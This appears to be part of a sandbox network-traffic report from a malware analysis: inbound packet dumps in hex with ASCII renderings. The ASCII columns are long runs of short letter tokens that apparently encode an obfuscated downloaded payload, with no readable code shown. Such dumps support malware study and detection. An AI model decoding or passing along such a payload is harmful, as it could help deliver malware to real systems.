2021-10-29 18:29:04 UTC	52	IN	Data Raw: 6d 20 4a 6d 20 71 70 57 20 57 6d 20 58 6d 20 71 4a 4f 20 4a 44 20 4a 71 4d 20 71 71 4a 20 57 4f 20 57 58 20 4d 70 20 71 4a 4d 20 58 6d 20 71 71 6d 20 71 4a 45 20 44 4d 20 4a 4f 71 20 57 71 20 6d 58 20 57 4a 20 57 4f 20 71 4a 6d 20 71 6d 58 20 71 71 45 20 71 4f 4d 20 71 71 58 20 4a 44 20 71 70 57 20 57 71 20 57 6d 20 58 4a 20 58 58 20 71 4f 4a 20 4d 70 20 71 4a 6d 20 57 4f 20 71 44 44 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 6d 20 45 58 20 57 44 20 57 57 20 58 6d 20 71 71 58 20 58 58 20 45 70 20 71 4f 4a 20 4a 4a 44 20 71 4f 6d 20 57 4f 20 57 6d 20 58 57 20 4d 4f 20 4a 4f 57 20 71 4f 4d 20 71 71 4a 20 57 44 20 4a 4a 6d 20 44 70 20 57 6d 20 58 6d 20 71 71 4a 20 4d 70 20 4a 71 70 20 71 71 4a 20 57 4f 20 57 58 20 4a 44 Data Ascii: m Jm qpW Wm Xm qJO JD JqM qqJ WO WX Mp qJM Xm qqm qJE DM JOq Wq mX WJ WO qJm qmX qqE qOM qqX JD qpW Wq Wm XJ XX qOJ Mp qJm WO qDD WO Wm Xm qqm qqE qOM qqJ Wm EX WD WW Xm qqX XX Ep qOJ JJD qOm WO Wm XW MO JOW qOM qqJ WD JJm Dp Wm Xm qqJ Mp Jqp qqJ WO WX JD
2021-10-29 18:29:04 UTC	53	IN	Data Raw: 20 58 4f 20 4d 4f 20 71 6d 6d 20 71 4f 4d 20 71 71 4a 20 57 4a 20 4d 57 20 71 44 4a 20 57 57 20 58 6d 20 71 71 44 20 71 4f 4f 20 71 4f 57 20 70 71 20 4a 6d 6d 20 6d 58 20 57 4f 20 44 4f 20 58 4f 20 4d 4f 20 4a 4f 71 20 71 4f 58 20 71 71 4a 20 57 4a 20 57 6d 20 4d 70 20 44 45 20 58 57 20 71 71 6d 20 71 71 57 20 45 71 20 71 71 4a 20 57 4f 20 6d 4d 20 6d 44 20 57 6d 20 58 6d 20 71 71 4a 20 71 71 45 20 71 4a 6d 20 71 71 4a 20 6d 44 20 4a 4d 20 57 4f 20 57 44 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 6d 20 57 4f 20 71 71 58 20 57 4f 20 6d 4a 20 57 6d 20 71 71 6d 20 71 4a 70 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 71 71 44 20 57 4f 20 71 4a 6d 20 4a 4f 44 20 71 71 44 20 71 4f 4d 20 71 71 58 20 4a 44 20 4a 70 58 20 57 4f 20 57 6d 20 58 4a 20 4a Data Ascii: XO MO qmm qOM qqJ WJ MW qDJ WW Xm qqD qOO qOW pq Jmm mX WO DO XO MO JOq qOX qqJ WJ Wm Mp DE XW qqm qqW Eq qqJ WO mM mD Wm Xm qqJ qqE qJm qqJ mD JM WO WD Xm qqm qqE qOM qqm WO qqX WO mJ Wm qqm qJp qOM qqJ WO mX qqD WO qJm JOD qqD qOM qqX JD JpX WO Wm XJ J
2021-10-29 18:29:04 UTC	54	IN	Data Raw: 6d 20 58 4a 20 4a 4d 20 4a 4a 57 20 71 4f 4d 20 71 71 4a 20 57 4a 20 6d 4f 20 71 4d 71 20 4a 4d 20 58 6d 20 71 71 6d 20 71 71 4d 20 45 4a 20 71 4f 4a 20 44 57 20 71 44 70 20 57 4f 20 57 6d 20 58 4a 20 4a 4f 58 20 58 4f 20 71 4a 4a 20 71 71 58 20 71 6d 6d 20 4a 6d 20 71 4d 71 20 57 6d 20 58 6d 20 71 71 44 20 71 4a 44 20 71 4f 44 20 71 71 57 20 4d 70 20 58 4d 20 57 71 20 57 6d 20 58 4a 20 4d 4f 20 4a 6d 4d 20 71 4f 4d 20 71 71 4a 20 57 4a 20 4d 57 20 4a 6d 58 20 57 6d 20 58 6d 20 71 4a 4f 20 71 71 70 20 44 4d 20 4a 4f 6d 20 57 71 20 6d 58 20 57 4a 20 6d 4d 20 57 4d 20 4a 6d 70 20 71 71 44 20 71 4f 4d 20 71 71 58 20 4a 6d 20 71 44 44 20 6d 4d 20 58 4d 20 57 70 20 71 71 57 20 71 71 45 20 71 4f 45 20 4d 4a 20 6d 44 20 57 4a 20 4a 44 20 71 70 58 20 58 57 20 71 Data Ascii: m XJ JM JJW qOM qqJ WJ mO qMq JM Xm qqm qqM EJ qOJ DW qDp WO Wm XJ JOX XO qJJ qqX qmm Jm qMq Wm Xm qqD qJD qOD qqW Mp XM Wq Wm XJ MO JmM qOM qqJ WJ MW JmX Wm Xm qJO qqp DM JOm Wq mX WJ mM WM Jmp qqD qOM qqX Jm qDD mM XM Wp qqW qqE qOE MJ mD WJ JD qpX XW q
2021-10-29 18:29:04 UTC	58	IN	Data Raw: 6d 20 71 4a 4f 20 58 4d 20 71 4f 6d 20 71 4f 70 20 70 70 20 57 6d 20 4a 57 20 44 70 20 45 4f 20 71 4a 4a 20 4d 70 20 58 58 20 71 71 4a 20 57 4f 20 57 58 20 70 71 20 4a 70 4a 20 71 70 58 20 71 4a 6d 20 71 4f 70 20 71 4f 71 20 71 6d 4a 20 70 44 20 57 44 20 57 4f 20 57 6d 20 45 4d 20 4a 4d 20 71 4a 44 20 71 4f 4d 20 71 71 4a 20 57 44 20 4a 70 44 20 70 57 20 6d 58 20 71 71 4f 20 71 45 44 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 70 70 20 57 57 20 44 4d 20 6d 58 20 71 71 6d 20 71 71 45 20 71 4f 70 20 4d 4d 20 57 44 20 70 70 20 57 44 20 58 4d 20 71 70 57 20 71 71 6d 20 71 71 45 20 71 4f 70 20 4d 4d 20 57 70 20 70 58 20 70 70 20 44 71 20 44 44 20 4d 45 20 71 4a 71 20 45 4f 20 57 45 20 70 57 20 57 4d 20 70 71 20 71 4a 70 20 44 44 20 4d 45 20 71 4a 4f 20 45 Data Ascii: m qJO XM qOm qOp pp Wm JW Dp EO qJJ Mp XX qqJ WO WX pq JpJ qpX qJm qOp qOq qmJ pD WD WO Wm EM JM qJD qOM qqJ WD JpD pW mX qqO qED qqE qOM qqJ WO pp WW DM mX qqm qqE qOp MM WD pp WD XM qpW qqm qqE qOp MM Wp pX pp Dq DD ME qJq EO WE pW WM pq qJp DD ME qJO E
2021-10-29 18:29:04 UTC	62	IN	Data Raw: 20 71 71 45 20 71 4f 4d 20 71 45 4d 20 6d 58 20 6d 58 20 57 4f 20 57 70 20 58 6d 20 71 71 6d 20 71 71 45 20 4d 58 20 71 71 4a 20 57 4f 20 6d 4d 20 6d 58 20 57 6d 20 58 6d 20 71 71 6d 20 71 4f 71 20 71 4f 4d 20 71 71 4a 20 57 4f 20 4a 6d 70 20 6d 58 20 57 6d 20 58 6d 20 71 44 71 20 71 71 4d 20 71 4f 4d 20 71 71 4a 20 57 44 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 6d 58 20 58 6d 20 71 71 6d 20 71 71 45 20 71 58 4f 20 71 71 6d 20 57 4f 20 6d 58 20 4a 70 45 20 57 4a 20 58 6d 20 71 71 6d 20 71 71 58 20 71 4f 4d 20 71 71 4a 20 57 4f 20 57 58 20 57 4f 20 57 6d 20 58 57 20 71 4f 57 20 44 4d 20 71 4f 57 20 71 71 4a 20 71 4a 70 20 6d 4d 20 57 4f 20 57 6d 20 71 4a 44 20 71 71 6d 20 71 71 45 20 Data Ascii: qqE qOM qEM mX mX WO Wp Xm qqm qqE MX qqJ WO mM mX Wm Xm qqm qOq qOM qqJ WO Jmp mX Wm Xm qDq qqM qOM qqJ WD mX WO Wm Xm qqm qqE qOM qqJ WO mX WO mX Xm qqm qqE qXO qqm WO mX JpE WJ Xm qqm qqX qOM qqJ WO WX WO Wm XW qOW DM qOW qqJ qJp mM WO Wm qJD qqm qqE
2021-10-29 18:29:04 UTC	63	IN	Data Raw: 4a 4f 20 71 44 4d 20 71 4a 6d 20 71 71 45 20 70 71 20 70 4a 20 57 70 20 70 4d 20 58 4f 20 71 71 70 20 71 71 70 20 44 4d 20 4a 4a 6d 20 57 4f 20 6d 58 20 57 4a 20 70 4f 20 44 44 20 71 71 6d 20 71 71 45 20 45 4f 20 71 4a 70 20 57 4d 20 4d 57 20 44 4a 20 57 6d 20 58 6d 20 71 4a 4f 20 58 58 20 4a 57 57 20 71 45 6d 20 57 44 20 57 45 20 70 4f 20 6d 58 20 4d 70 20 4a 4d 20 71 4a 44 20 71 4f 4d 20 71 71 4a 20 57 44 20 4a 70 44 20 4a 70 44 20 57 70 20 71 71 6d 20 71 45 4a 20 71 71 45 20 71 4f 57 20 4d 4d 20 57 58 20 70 58 20 70 70 20 44 70 20 71 4a 45 20 58 70 20 71 4f 4f 20 71 4f 71 20 4d 45 20 57 4d 20 71 45 4f 20 70 70 20 44 4f 20 58 70 20 71 71 4a 20 71 4f 4f 20 71 4f 70 20 58 58 20 4a 70 70 20 6d 58 20 57 4f 20 44 4f 20 71 4a 6d 20 71 4f 4f 20 71 71 45 20 71 Data Ascii: JO qDM qJm qqE pq pJ Wp pM XO qqp qqp DM JJm WO mX WJ pO DD qqm qqE EO qJp WM MW DJ Wm Xm qJO XX JWW qEm WD WE pO mX Mp JM qJD qOM qqJ WD JpD JpD Wp qqm qEJ qqE qOW MM WX pX pp Dp qJE Xp qOO qOq ME WM qEO pp DO Xp qqJ qOO qOp XX Jpp mX WO DO qJm qOO qqE q
2021-10-29 18:29:04 UTC	68	IN	Data Raw: 20 44 71 20 45 44 20 6d 4f 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 4a 44 20 71 71 44 20 45 44 20 6d 44 20 57 4f 20 57 6d 20 4d 6d 20 4d 45 20 71 71 4a 20 71 4f 4f 20 70 20 71 44 20 6d 58 20 57 4f 20 44 4f 20 71 4a 6d 20 58 71 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 4d 70 20 4a 4f 20 57 4f 20 57 6d 20 4d 6d 20 4d 45 20 71 71 70 20 71 4a 6d 20 71 71 44 20 6d 57 20 44 70 20 71 4d 71 20 71 4f 58 20 58 6d 20 71 71 6d 20 71 71 44 20 45 4a 20 71 44 4f 20 4a 71 57 20 6d 58 20 57 4f 20 57 4f 20 71 4a 6d 20 44 4d 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 44 57 20 58 20 57 4f 20 57 6d 20 4d 6d 20 4a 4d 20 58 4f 20 71 4f 4d 20 71 71 4a 20 57 44 20 4a 58 20 6d 4f 20 6d 4f 20 4a 71 45 20 6d 4f 20 71 71 45 20 71 4f 4d 20 71 71 70 20 4a 70 20 4a 4a 6d 20 4a 57 57 20 57 6d 20 Data Ascii: Dq ED mO Xm qqm qJE qJD qqD ED mD WO Wm Mm ME qqJ qOO p qD mX WO DO qJm Xq qqE qOM qJJ Mp JO WO Wm Mm ME qqp qJm qqD mW Dp qMq qOX Xm qqm qqD EJ qDO JqW mX WO WO qJm DM qqE qOM qJJ DW X WO Wm Mm JM XO qOM qqJ WD JX mO mO JqE mO qqE qOM qqp Jp JJm JWW Wm
2021-10-29 18:29:04 UTC	72	IN	Data Raw: 6d 20 58 6d 20 71 71 6d 20 71 4f 44 20 71 71 4d 20 58 58 20 4d 44 20 6d 58 20 57 4f 20 44 4f 20 45 57 20 71 4f 71 20 4a 6d 58 20 57 57 20 71 71 4a 20 57 4f 20 6d 4d 20 4a 70 20 4a 70 4f 20 71 70 4f 20 71 71 6d 20 71 71 45 20 71 4f 57 20 58 58 20 57 20 6d 58 20 57 4f 20 44 4f 20 70 4d 20 45 6d 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 4a 44 20 4a 45 20 57 4f 20 57 6d 20 4d 6d 20 4d 45 20 71 4a 57 20 71 4f 45 20 70 20 71 4d 4d 20 6d 58 20 57 4f 20 6d 58 20 45 71 20 71 71 58 20 71 4f 4f 20 71 4f 57 20 4d 58 20 57 71 20 4a 6d 20 4a 71 4d 20 57 6d 20 58 6d 20 71 4a 4f 20 4a 44 20 71 70 71 20 71 71 4a 20 57 4f 20 57 6d 20 70 57 20 57 4f 20 44 45 20 4a 57 57 20 6d 45 20 71 4f 4d 20 71 71 4a 20 57 71 20 4a 71 20 70 44 20 6d 71 20 71 4a 44 20 4a 70 4d 20 44 20 58 57 Data Ascii: m Xm qqm qOD qqM XX MD mX WO DO EW qOq JmX WW qqJ WO mM Jp JpO qpO qqm qqE qOW XX W mX WO DO pM Em qqE qOM qJJ JD JE WO Wm Mm ME qJW qOE p qMM mX WO mX Eq qqX qOO qOW MX Wq Jm JqM Wm Xm qJO JD qpq qqJ WO Wm pW WO DE JWW mE qOM qqJ Wq Jq pD mq qJD JpM D XW
2021-10-29 18:29:04 UTC	76	IN	Data Raw: 45 20 57 4f 20 45 4f 20 71 4a 6d 20 71 45 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 44 6d 20 6d 71 20 57 44 20 57 6d 20 70 44 20 71 4a 20 71 4f 45 20 71 4f 4d 20 71 71 4a 20 57 44 20 4d 57 20 6d 57 20 57 6d 20 58 6d 20 71 4a 4f 20 45 20 70 6d 20 71 4a 4a 20 57 4f 20 44 6d 20 44 6d 20 45 70 20 4d 6d 20 71 71 6d 20 57 20 71 4d 20 71 71 4f 20 57 4f 20 6d 58 20 57 44 20 70 4f 20 45 57 20 71 71 6d 20 71 71 45 20 71 4f 70 20 58 58 20 71 71 20 6d 58 20 57 4f 20 44 4f 20 57 4d 20 71 70 4f 20 71 71 45 20 71 4f 4d 20 71 71 58 20 4a 70 20 44 44 20 71 58 4d 20 44 4f 20 58 6d 20 4a 20 45 20 71 6d 4a 20 71 4a 4a 20 57 4f 20 44 6d 20 45 44 20 6d 4f 20 58 6d 20 71 71 6d 20 71 4a 45 20 44 4d 20 71 71 71 20 57 4f 20 6d 58 20 57 44 20 70 4f 20 45 44 20 71 71 6d 20 71 71 45 20 Data Ascii: E WO EO qJm qE qqE qOM qJJ Dm mq WD Wm pD qJ qOE qOM qqJ WD MW mW Wm Xm qJO E pm qJJ WO Dm Dm Ep Mm qqm W qM qqO WO mX WD pO EW qqm qqE qOp XX qq mX WO DO WM qpO qqE qOM qqX Jp DD qXM DO Xm J E qmJ qJJ WO Dm ED mO Xm qqm qJE DM qqq WO mX WD pO ED qqm qqE
2021-10-29 18:29:04 UTC	80	IN	Data Raw: 6d 58 20 57 4f 20 57 4a 20 6d 45 20 58 44 20 71 71 45 20 71 4f 4d 20 71 71 44 20 4d 71 20 4d 57 20 71 4d 4a 20 57 6d 20 58 6d 20 71 4a 4f 20 4a 71 57 20 58 57 20 4a 4a 44 20 57 4f 20 6d 58 20 57 4f 20 57 4a 20 6d 45 20 71 4f 4a 20 71 71 45 20 71 4f 4d 20 71 71 44 20 57 70 20 57 44 20 71 4f 44 20 71 58 57 20 71 4f 4f 20 71 71 6d 20 71 71 45 20 71 71 71 20 71 71 20 4a 45 20 6d 58 20 57 4f 20 57 4f 20 44 4d 20 71 4a 57 20 71 4f 44 20 4d 45 20 4a 57 70 20 71 4f 6d 20 6d 58 20 57 4f 20 57 57 20 71 71 70 20 71 44 4a 20 71 70 57 20 71 4f 4d 20 71 71 4a 20 57 6d 20 4a 6d 20 57 20 57 6d 20 58 6d 20 71 4a 4f 20 44 20 58 57 20 71 71 4a 20 57 4f 20 57 58 20 4a 44 20 58 58 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 71 71 20 71 71 20 70 6d 20 6d 58 20 57 4f 20 57 4f 20 44 Data Ascii: mX WO WJ mE XD qqE qOM qqD Mq MW qMJ Wm Xm qJO JqW XW JJD WO mX WO WJ mE qOJ qqE qOM qqD Wp WD qOD qXW qOO qqm qqE qqq qq JE mX WO WO DM qJW qOD ME JWp qOm mX WO WW qqp qDJ qpW qOM qqJ Wm Jm W Wm Xm qJO D XW qqJ WO WX JD XX Xm qqm qJE qqq qq pm mX WO WO D
2021-10-29 18:29:04 UTC	84	IN	Data Raw: 4f 20 71 71 4a 20 57 4f 20 57 58 20 44 57 20 71 6d 20 58 6d 20 71 71 6d 20 71 4a 45 20 44 4d 20 70 4f 20 57 4f 20 6d 58 20 57 44 20 57 4a 20 6d 45 20 4d 58 20 71 71 45 20 71 4f 4d 20 71 71 44 20 70 57 20 57 58 20 70 57 20 57 4d 20 71 4a 20 4d 4d 20 71 4a 70 20 71 4a 70 20 4a 70 4f 20 71 4f 44 20 70 70 20 44 4f 20 70 70 20 71 4d 6d 20 6d 4a 20 71 4f 4f 20 4d 4d 20 71 4f 6d 20 71 44 6d 20 71 4f 6d 20 70 57 20 57 44 20 45 45 20 4a 4a 58 20 6d 57 20 6d 20 4d 45 20 44 4f 20 6d 4a 20 71 44 6d 20 4d 57 20 57 4d 20 71 4a 58 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 45 4d 20 4a 6d 20 57 4f 20 57 6d 20 58 4f 20 45 6d 20 4a 70 57 20 71 4f 4d 20 71 71 4a 20 57 4f 20 57 4f 20 45 70 20 57 45 20 58 6d 20 71 71 6d 20 71 71 70 20 71 71 45 20 4a 44 20 71 20 71 71 58 20 6d 58 Data Ascii: O qqJ WO WX DW qm Xm qqm qJE DM pO WO mX WD WJ mE MX qqE qOM qqD pW WX pW WM qJ MM qJp qJp JpO qOD pp DO pp qMm mJ qOO MM qOm qDm qOm pW WD EE JJX mW m ME DO mJ qDm MW WM qJX qqE qOM qJJ EM Jm WO Wm XO Em JpW qOM qqJ WO WO Ep WE Xm qqm qqp qqE JD q qqX mX
2021-10-29 18:29:04 UTC	88	IN	Data Raw: 58 4a 20 57 4f 20 57 6d 20 4d 6d 20 58 58 20 4d 4d 20 71 71 4f 20 71 4f 6d 20 4a 4f 6d 20 6d 4d 20 4a 6d 20 57 6d 20 58 6d 20 71 4f 57 20 44 4d 20 71 4f 6d 20 71 71 4a 20 44 45 20 6d 58 20 57 4f 20 57 6d 20 71 71 71 20 71 71 6d 20 71 71 45 20 71 4a 6d 20 71 71 57 20 4d 70 20 71 57 70 20 57 71 20 57 6d 20 58 4a 20 71 4f 71 20 4a 6d 58 20 57 70 20 71 71 4a 20 57 4f 20 6d 4d 20 4a 70 20 70 4a 20 70 58 20 71 45 4a 20 71 71 6d 20 71 4f 4d 20 4f 20 71 6d 6d 20 70 4d 20 4d 70 20 71 4a 4f 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 4f 70 20 70 20 57 71 20 6d 4d 20 57 4f 20 44 4f 20 58 4a 20 71 4f 4f 20 4a 70 4d 20 71 4f 45 20 71 4f 70 20 71 44 58 20 4a 6d 20 58 71 20 57 6d 20 58 6d 20 71 4a 4f 20 4d 70 20 71 71 71 20 71 71 70 20 57 4f 20 57 58 20 44 57 20 57 70 20 58 Data Ascii: XJ WO Wm Mm XX MM qqO qOm JOm mM Jm Wm Xm qOW DM qOm qqJ DE mX WO Wm qqq qqm qqE qJm qqW Mp qWp Wq Wm XJ qOq JmX Wp qqJ WO mM Jp pJ pX qEJ qqm qOM O qmm pM Mp qJO Xm qqm qJE qOp p Wq mM WO DO XJ qOO JpM qOE qOp qDX Jm Xq Wm Xm qJO Mp qqq qqp WO WX DW Wp X
2021-10-29 18:29:04 UTC	92	IN	Data Raw: 20 71 71 4a 20 71 70 4d 20 71 4a 4f 20 44 45 20 57 4f 20 6d 58 20 6d 71 20 44 4a 20 71 4a 45 20 57 4d 20 71 71 20 71 4a 70 20 71 71 70 20 57 4f 20 57 4a 20 4a 70 20 4a 45 20 44 45 20 58 6d 20 71 71 20 71 4a 71 20 71 71 70 20 57 4f 20 57 4a 20 4a 4f 6d 20 6d 58 20 45 4a 20 71 71 4a 20 71 71 45 20 71 4f 45 20 70 20 6d 71 20 6d 4d 20 57 4f 20 44 4f 20 71 71 70 20 4a 6d 4a 20 4d 4d 20 71 4f 58 20 71 71 4a 20 57 6d 20 4a 6d 20 6d 57 20 57 6d 20 58 6d 20 58 4d 20 58 4f 20 44 6d 20 71 4a 6d 20 4a 4f 20 70 6d 20 6d 58 20 4a 4f 4f 20 44 57 20 44 57 20 71 71 45 20 71 4f 4d 20 71 4f 45 20 57 58 20 4a 45 20 70 44 20 6d 58 20 71 45 4f 20 71 71 44 20 71 4f 4d 20 71 71 71 20 71 71 4a 20 57 4a 20 44 45 20 6d 45 20 57 57 20 58 6d 20 71 4a 4f 20 4d 70 20 45 45 20 71 71 4a Data Ascii: qqJ qpM qJO DE WO mX mq DJ qJE WM qq qJp qqp WO WJ Jp JE DE Xm qq qJq qqp WO WJ JOm mX EJ qqJ qqE qOE p mq mM WO DO qqp JmJ MM qOX qqJ Wm Jm mW Wm Xm XM XO Dm qJm JO pm mX JOO DW DW qqE qOM qOE WX JE pD mX qEO qqD qOM qqq qqJ WJ DE mE WW Xm qJO Mp EE qqJ
2021-10-29 18:29:04 UTC	95	IN	Data Raw: 45 20 4a 4f 45 20 58 57 20 70 45 20 70 4d 20 70 58 20 70 4f 20 4a 70 4a 20 71 71 6d 20 71 71 45 20 71 4f 70 20 4a 71 4f 20 4a 70 20 6d 4f 20 70 45 20 70 6d 20 71 4a 6d 20 4a 4f 44 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 71 6d 6d 20 4a 71 20 6d 70 20 70 4a 20 44 6d 20 4d 4f 20 4a 4f 71 20 71 4f 4d 20 71 71 4a 20 57 44 20 71 6d 44 20 4a 44 20 71 70 4d 20 58 6d 20 71 71 6d 20 71 4a 45 20 44 4d 20 6d 4d 20 57 71 20 6d 58 20 57 44 20 71 58 4a 20 45 70 20 71 71 57 20 71 71 45 20 71 4f 57 20 71 6d 20 6d 45 20 6d 4d 20 57 4f 20 57 4f 20 6d 45 20 6d 58 20 71 71 44 20 71 4f 4d 20 71 4a 4a 20 45 44 20 6d 57 20 57 71 20 57 6d 20 58 4f 20 71 4a 4a 20 4d 4d 20 71 4a 70 20 70 20 71 71 70 20 6d 4d 20 57 4f 20 44 4f 20 44 44 20 71 4f 4f 20 44 20 6d 44 20 71 71 70 20 57 4f Data Ascii: E JOE XW pE pM pX pO JpJ qqm qqE qOp JqO Jp mO pE pm qJm JOD qqE qOM qJJ qmm Jq mp pJ Dm MO JOq qOM qqJ WD qmD JD qpM Xm qqm qJE DM mM Wq mX WD qXJ Ep qqW qqE qOW qm mE mM WO WO mE mX qqD qOM qJJ ED mW Wq Wm XO qJJ MM qJp p qqp mM WO DO DD qOO D mD qqp WO
2021-10-29 18:29:04 UTC	100	IN	Data Raw: 45 20 6d 58 20 6d 4d 20 44 4f 20 58 6d 20 71 71 6d 20 71 71 44 20 71 71 71 20 71 71 4a 20 4a 58 20 6d 58 20 71 4f 58 20 71 58 44 20 58 6d 20 71 4a 4f 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 57 4f 20 57 4f 20 71 45 20 58 6d 20 70 20 4a 70 45 20 71 4f 4d 20 71 4a 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 44 20 71 71 6d 20 58 57 20 71 4f 4d 20 4a 6d 6d 20 71 57 4f 20 6d 58 20 57 44 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4a 20 6d 58 20 71 57 4a 20 71 70 6d 20 58 6d 20 71 71 70 20 71 4a 45 20 71 4f 4d 20 71 71 4a 20 57 71 20 6d 70 20 4a 20 57 71 20 58 6d 20 71 44 57 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 71 4a 71 20 6d 58 20 57 4f 20 70 4d 20 70 4d 20 4a 71 44 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 57 44 20 44 44 20 Data Ascii: E mX mM DO Xm qqm qqD qqq qqJ JX mX qOX qXD Xm qJO qqE qOM qqJ WO WO WO qE Xm p JpE qOM qJJ WO mX WO Wm XD qqm XW qOM Jmm qWO mX WD Wm Xm qqm qqE qOM qqJ WJ mX qWJ qpm Xm qqp qJE qOM qqJ Wq mp J Wq Xm qDW qqE qOM qqJ qJq mX WO pM pM JqD qqE qOM qJJ WD DD
2021-10-29 18:29:04 UTC	104	IN	Data Raw: 57 4f 20 6d 58 20 57 4f 20 71 57 20 58 6d 20 71 71 6d 20 71 71 45 20 44 6d 20 71 71 70 20 57 4f 20 6d 58 20 58 6d 20 57 57 20 58 6d 20 71 71 6d 20 71 4a 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 4a 20 57 4a 20 6d 58 20 57 4f 20 57 6d 20 57 44 20 71 71 57 20 71 71 45 20 71 4f 4d 20 4a 20 57 71 20 6d 58 20 57 4f 20 57 70 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 70 20 71 71 4a 20 57 4f 20 6d 4d 20 6d 71 20 44 20 58 71 20 71 71 6d 20 4a 6d 4f 20 71 71 71 20 71 71 4a 20 57 4f 20 71 4a 45 20 57 4f 20 57 6d 20 44 4d 20 71 20 4a 71 4f 20 71 4f 4d 20 71 71 4a 20 57 44 20 57 58 20 71 58 20 71 58 45 20 58 6d 20 71 71 6d 20 71 71 45 20 4a 4a 6d 20 6d 4a 20 57 4f 20 6d 58 20 57 71 20 71 4d 20 Data Ascii: WO mX WO qW Xm qqm qqE Dm qqp WO mX Xm WW Xm qqm qJE qOM qqJ WO mX WO Wm Xm qqm qqE qOM qqJ WJ mX WO Wm WD qqW qqE qOM J Wq mX WO Wp Xm qqm qqE qOp qqJ WO mM mq D Xq qqm JmO qqq qqJ WO qJE WO Wm DM q JqO qOM qqJ WD WX qX qXE Xm qqm qqE JJm mJ WO mX Wq qM
2021-10-29 18:29:04 UTC	108	IN	Data Raw: 6d 20 58 6d 20 71 71 4a 20 71 71 45 20 70 44 20 71 71 4a 20 71 45 58 20 4a 6d 4d 20 57 4f 20 44 4f 20 58 6d 20 71 71 6d 20 71 71 45 20 71 4f 4d 20 71 71 6d 20 57 4f 20 71 71 6d 20 57 4f 20 71 44 57 20 71 4a 4d 20 71 71 6d 20 71 4a 45 20 71 4f 4d 20 71 71 4a 20 57 4f 20 6d 58 20 57 4f 20 57 6d 20 58 4a 20 71 71 6d 20 71 45 6d 20 71 6d 4f 20 71 71 4a 20 6d 4d 20 57 58 20 57 4f 20 57 6d 20 58 57 20 71 4f 57 20 44 4d 20 71 4f 6d 20 71 71 4a 20 71 4f 58 20 6d 4d 20 57 4f 20 57 6d 20 6d 20 71 71 6d 20 71 71 45 20 71 4a 6d 20 70 20 71 6d 4d 20 6d 58 20 57 4f 20 44 4f 20 4d 6d 20 71 4f 4d 20 45 4f 20 4a 4a 6d 20 6d 4a 20 57 4f 20 6d 58 20 57 71 20 71 4d 20 71 70 4a 20 71 44 57 20 71 71 45 20 71 4f 4d 20 71 71 44 20 4a 44 20 45 20 57 4f 20 57 6d 20 4d 6d 20 71 20 Data Ascii: m Xm qqJ qqE pD qqJ qEX JmM WO DO Xm qqm qqE qOM qqm WO qqm WO qDW qJM qqm qJE qOM qqJ WO mX WO Wm XJ qqm qEm qmO qqJ mM WX WO Wm XW qOW DM qOm qqJ qOX mM WO Wm m qqm qqE qJm p qmM mX WO DO Mm qOM EO JJm mJ WO mX Wq qM qpJ qDW qqE qOM qqD JD E WO Wm Mm q
2021-10-29 18:29:04 UTC	112	IN	Data Raw: 71 4a 4f 20 4a 44 20 71 58 58 20 71 71 4a 20 57 4f 20 57 58 20 57 4a 20 6d 71 20 4d 4f 20 4a 57 57 20 6d 45 20 71 4f 4d 20 71 71 4a 20 57 71 20 4a 71 20 4a 4a 44 20 4a 6d 57 20 58 6d 20 71 71 6d 20 71 71 70 20 44 4d 20 45 71 20 57 4f 20 6d 58 20 57 44 20 44 4d 20 71 4f 58 20 71 71 6d 20 71 71 45 20 71 4f 70 20 70 71 20 4a 4a 45 20 6d 58 20 57 4f 20 44 4f 20 70 4d 20 4a 71 70 20 71 71 45 20 71 4f 4d 20 71 4a 4a 20 57 45 20 57 70 20 70 4f 20 44 4a 20 58 71 20 4a 57 4a 20 58 4d 20 71 4f 57 20 71 71 44 20 6d 4d 20 71 20 6d 58 20 6d 4d 20 71 4a 44 20 71 71 6d 20 71 71 4d 20 44 4d 20 71 44 4a 20 57 4f 20 6d 58 20 57 44 20 57 58 20 44 44 20 71 4a 45 20 45 45 20 71 4a 6d 20 71 71 70 20 57 4f 20 6d 58 20 57 58 20 44 70 20 4a 4f 44 20 4d 45 20 71 71 70 20 71 4a 70 Data Ascii: qJO JD qXX qqJ WO WX WJ mq MO JWW mE qOM qqJ Wq Jq JJD JmW Xm qqm qqp DM Eq WO mX WD DM qOX qqm qqE qOp pq JJE mX WO DO pM Jqp qqE qOM qJJ WE Wp pO DJ Xq JWJ XM qOW qqD mM q mX mM qJD qqm qqM DM qDJ WO mX WD WX DD qJE EE qJm qqp WO mX WX Dp JOD ME qqp qJp
